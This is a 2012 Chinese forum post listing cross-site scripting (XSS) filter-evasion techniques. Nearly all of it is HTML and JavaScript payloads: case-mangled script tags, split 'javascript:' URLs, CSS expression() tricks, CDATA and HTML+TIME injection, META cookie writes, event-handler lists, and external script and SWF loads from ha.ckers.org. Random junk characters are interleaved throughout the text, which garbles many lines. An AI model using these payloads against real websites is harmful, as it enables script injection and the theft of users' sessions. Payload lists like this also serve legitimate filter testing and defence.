找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2273|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
! v  W9 u, W4 E& a5 ?$ j& Y* I  e; k7 ?: O$ d! G& q( U4 O

; ^5 q5 p9 D: T# U9 F" l3 i% Z5 Y" F9 Z8 @' _9 @
    <sCript>alert(‘d’)</scRipT>! H$ q. w' ]$ U4 \3 [6 g2 g5 t

- c" Q$ ]* d3 M  ~5 W( q2. 利用多加一些其它字符来规避Regular Expression的检查+ H, g# X7 c# |$ t4 [
) ?* J$ U' p  M7 R
    <<script>alert(‘c’)//<</script>, k, Q% d% o& x

, e) c( s. d, c* P    <SCRIPT a=">" SRC="t.js"></SCRIPT>
+ d( o* _- I: H  ]4 k
' L6 ]& w) K  s5 d, s5 X    <SCRIPT =">" SRC="t.js"></SCRIPT>
" `3 f6 f. U1 y' e1 g% j# ^/ t' ^; f; g' X7 Y6 m! p( _9 L( B1 _
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>8 \9 A3 ]! ]; i7 d+ G8 n

+ f' T7 r5 n8 D+ j& Q    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
  g$ g$ ^( r* m5 t
0 n+ R$ R( s5 W0 o: n2 z$ n    <SCRIPT a=`>` SRC="t.js"></SCRIPT>9 D, k, q/ S+ V4 K2 n! u0 `' W# |

* a4 o, X; j9 L* @    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>* E& S2 B' B* l2 r9 N  t! U+ G9 M

; ]* a% b' t7 e; e7 J3. 以其它扩展名取代.js# E4 Y% l( B; D4 q% e3 E
0 i0 [1 @. r4 s0 A' G. G1 E
    <script src="bad.jpg"></script>; }. m. S) i# L3 O: G4 H6 U( T

- p8 p+ A, m4 W( L4. 将Javascript写在CSS档里
* c6 R2 Y( ~, I/ r% f: l/ @, B5 K+ @3 k
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">4 v! E( m: D/ X# B- Z+ q9 D
/ c8 ^* L" @1 Z8 p, x8 b- L2 O
       example:) k5 P* y2 y1 B1 \+ [, t$ v3 A" W
& j! q+ b& b$ W
          body {- A0 t5 U, R# z

! V1 i  S8 V1 q$ x2 p  d( t               background-image: url(‘javascript:alert("XSS");’)
1 N! |0 h6 s7 K% ?% X! D
$ H) C/ [7 L, a0 N          }1 r# {0 u3 B. L8 t1 G% _: O6 l

# T: x( u+ w; D- M5. 在script的tag里加入一些其它字符  j7 _- f; ?; N/ O

( p# t; X' G* l, U3 b" V9 ^    <SCRIPT/SRC="t.js"></SCRIPT>
" h& r$ F; A6 w2 ], w: y2 R
/ z9 B' A2 ^- N2 |' K5 F0 C    <SCRIPT/anyword SRC="t.js"></SCRIPT>
! P7 R& o* ~; B& J. Q# S8 t2 K% C, V
6. 使用tab或是new line来规避2 v6 E" m4 J% P% I4 R, O
8 A$ z+ L) }2 M- Q$ Y
    <img src="jav ascr ipt:alert(‘XSS3′)">) L/ y- R/ I' |" J: J9 {* j
, e9 ?8 \% _  t. p! `1 n/ \; a) B
    <img src="jav ascr ipt:alert(‘XSS3′)">
0 F, ^5 @, H* z* E
; S; z: H: s9 e/ p3 _/ y, a2 r1 f    <IMG SRC="jav ascript:alert(‘XSS’);">
& T; u, e/ T2 [$ y  b2 v; \) R) U5 Z  u) W" a4 a7 N. @
         -> tag
# I( S8 ^9 n* F, ~$ x5 t+ q6 Y2 S! i; g/ r: d
         -> new line9 ^! q$ d0 P. f/ d& z

- m; G- u& g5 X7. 使用"\"来规避% J' Z$ q5 f# K& a/ X
' y3 p+ U3 M' i% N7 [0 q# ?4 e
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>* w0 A( E4 M) D3 B  ~
3 n: o0 B) T6 A5 k& }3 p+ s
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
- z* X) ]" ^/ g0 u  I3 i- h# l+ m
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">9 l% q- z* ~! g8 m" R1 e
8 N; Z7 e: `% }$ M: q
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">, H8 \: a% J8 l, b6 N0 Z- G
3 l+ m1 y* F  B  k4 _7 }
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>, A; O( h1 R- t+ G" V- F

# W5 N9 r7 ?% `$ v/ b8. 使用Hex encode来规避(也可能会把";"拿掉)% K% I8 \  \7 a, y
& k8 h1 K* w" @) O, q
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">8 d: H+ G6 S5 L" B
1 Q  x+ F. _: Z# {
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
- W, f; K5 c  _1 g4 N
# J" T3 e$ Z7 X5 S, {; J    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">1 Y4 ^. _( P9 p# ^5 `- `! v2 T( ]
: v$ j: v: H2 D$ g' M7 k5 \
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">8 @! ?+ y* I2 w* ~, U& [

/ i, d+ ]7 ^) B9. script in HTML tag. g" n- G( U) I# t
2 L' B. {( z- A( e
    <body onload=」alert(‘onload’)」>
2 I3 G' z% Y$ j1 E" ]" H$ w8 X
0 s7 V  G  [# m$ P0 L3 U        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
" x: A; B4 z2 @9 a  e; |; e9 K. t! d( K0 H
10. 在swf里含有xss的code
7 ?/ V7 r+ r6 j- p- q1 W8 I5 Q% O8 c. \3 w- T. D
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>3 Z( ~5 A5 H+ Y! b) }
5 a* d% U7 P( f% f, f  v
11. 利用CDATA将xss的code拆开,再组合起来。
4 W6 r3 S) G& x, |2 p' h
1 @, |, ~+ G0 D    <XML ID=I><X><C>
3 A0 B$ U9 T  N5 J; v+ o8 V$ u" y# k
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>! J! r: @8 L# j& q3 a

8 s( E. \* B% m( W$ o- h    </C></X>1 ]" X/ \+ O/ ~# _  p) z

2 K; C2 X& p, W/ b& {1 }    </xml>
3 J/ S3 x$ [$ P6 X1 H/ Y
0 E$ ^6 q+ ^& f/ j    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>/ _: ?: j* a5 U; o: m/ k; C$ k6 v

3 v  t  j: `3 N0 B    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>$ x# i+ Y5 }9 f1 G" k1 s: x! L/ T
0 K( v0 e5 _4 d! A* ~3 C1 X) J
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
1 C! r  P1 U# T% q: m
4 ]  E$ h- a& j4 q0 w) n12. 利用HTML+TIME。  j/ o8 T$ X3 m! s" X

& U  Z' C7 s( `9 A$ f$ q    <HTML><BODY>3 j& S# M: p% v# C, a  S

5 r( p* L. |; x. L; t1 W    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">1 f! T& A* q% h

/ o; |  M8 X& u6 ?% x    <?import namespace="t" implementation="#default#time2">
- o" I* K9 T! n  Z+ S! N9 b1 P& o) K( F9 \$ m0 B, E+ m  f
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
  V2 z8 u, N7 y& P0 z
3 \/ e5 g1 @; L2 ?" }2 M    </BODY></HTML>' F+ S  Q; K& D5 ^0 s/ c5 A
' i# w( l% a2 y
13. 透过META写入Cookie。
  R8 l# I2 y) ?! |) N! [
( {, t  z8 j. N    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">% f- ~/ \# W1 f- J. t4 i/ }8 h+ O

: I4 R' y" ~4 }' u: G% a14. javascript in src , href , url
0 B) J! h1 `- Q" _* ^: b2 o+ N# h+ ]9 z" j
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>; l; w5 n) |. T! J! @0 t

* t( ]4 B6 x& V! h) p    <img src="javascript:alert(‘XSS3′)">
+ b& W1 b* K; W' P' [
& I  x4 w. `1 g* H<IMG DYNSRC="javascript:alert(‘XSS20′)">
6 f# i) `$ W/ b# N( ^
3 e3 u) f1 c- G* ?! i6 |+ n    <IMG LOWSRC="javascript:alert(‘XSS21′)">
- ?/ z0 d$ U5 A/ l. q8 x' @8 b+ }! E- l4 K/ ]& @
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
% p4 ^! A. O' e" B4 S: g2 R& G  M" U6 S$ O5 ^# O
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>  Y8 G( v1 J' ^" P
! n0 X0 ?( a7 O: }& Y& l8 D- U
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">! @# B$ a8 [$ V. g+ s' U8 @
5 I# L7 @- b+ h7 ^: W  Z
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
! |. u; t5 w6 u
& i2 p- s5 d! L; K    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}" A% Z& A+ F2 r/ _. [0 x

1 z$ `! r0 Q# |! V6 k    </STYLE><A CLASS=XSS></A>
/ j- z# q" o8 y1 p
. j* P/ U9 b; i5 q5 x    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
9 x  R1 s9 j/ q% m! ~- _! b, g
6 w6 p4 s/ A  ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表